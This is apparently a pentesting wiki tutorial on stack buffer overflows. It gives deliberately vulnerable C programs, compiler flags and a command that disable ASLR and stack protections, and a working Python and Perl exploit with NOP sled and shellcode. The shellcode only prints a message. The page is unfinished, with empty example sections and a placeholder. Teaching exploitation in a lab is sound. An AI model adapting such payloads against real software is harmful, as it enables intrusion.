Binary Exploitation (Buffer Overflow)

From Elvis Wiki
Revision as of 15:08, 10 December 2024 by EMeisl (talk | contribs) (This Pentesting documentation features examples, on how to exploit a binary with a buffer overflow. The examples range from very simple ones to more advanced and complex versions.)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)

Summary

This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.

The examples range from very simple ones to more advanced and complex versions.

Requirements

  • Operating system: Linux
  • Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)

In order to complete these steps, you must have followed Buffer Overflows before.

The theoretical part is required to understand basic concepts needed for the examples.

Description

All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection was used.

sudo apt update
sudo apt install gcc-multilib

Example 1

This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.

The program was compiled with this command:

gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c

Input smaller than 8 ➜ program exits

Input bigger than 8 ➜ flag

This is the code in C:

#include <stdio.h>

int main() {
    volatile int secret_treasure = 0;
    char buffer[8]; 

    printf("Welcome to the Treasure Hunt!\n");
    printf("The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n");
    printf("Initially, the treasure status is hidden...\n\n");

    printf("Enter your code: ");
    gets(buffer);

    if (secret_treasure != 0) {
        printf("\n**** Treasure Found! ****\n");
        printf("Your treasure is: FLAG{BUFFER OVERFLOW}\n");
    } else {
        printf("\nSorry, your code was too small. No treasure found.\n");
    }

    return 0;
}

Example 2

This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer.

Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.

This is the code in C:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *input) {
    char buffer[256];

    printf("Buffer address: %p\n", (void *)buffer);

    strcpy(buffer, input); 
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }

    vuln(argv[1]);

    printf("Function executed without crashing.\n");
    return 0;
}

To compile the C code into a program the following command is used.

gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable
  1. -m32 ➜ 32-bit file
  2. -no-pie ➜ start at a fixed address
  3. -fno-stack-protector ➜ disable canaries
  4. -z execstack ➜ make the stack executable
  5. -Wno-implicit-function-declaration ➜ supress warnings

The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed.

The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.

While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order.

This is the code of the exploit in Python:

import sys

nop_sled = b"\x90" * 100

shellcode = (
    b"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
    b"\x68\x45\x44\x21\x21"  # !!DE
    b"\x68\x48\x41\x43\x4b"  # HACK
    b"\x68\x47\x4f\x54\x20"  # GOT
    b"\x68\x59\x4f\x55\x20"  # YOU
    b"\x89\xe1\xb2\x0f\xcd\x80"  # write
)

padding = b"A" * 134

return_address = b"\xb0\xcd\xff\xff"

payload = nop_sled + shellcode + padding + return_address

sys.stdout.buffer.write(payload)

The exploit can be both, a python script and a perl command.

Python:

./vulnerable "$(python3 exploit.py)"

Perl:

./vulnerable "$(perl -e 'print "\x90"x100 . "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80" . "A"x134 . "\xa0\xcd\xff\xff"')"

Here is the String of our shellcode. Since the shellcode is never terminated, the whole stack is printed.

Example 3

Example 4

Courses

References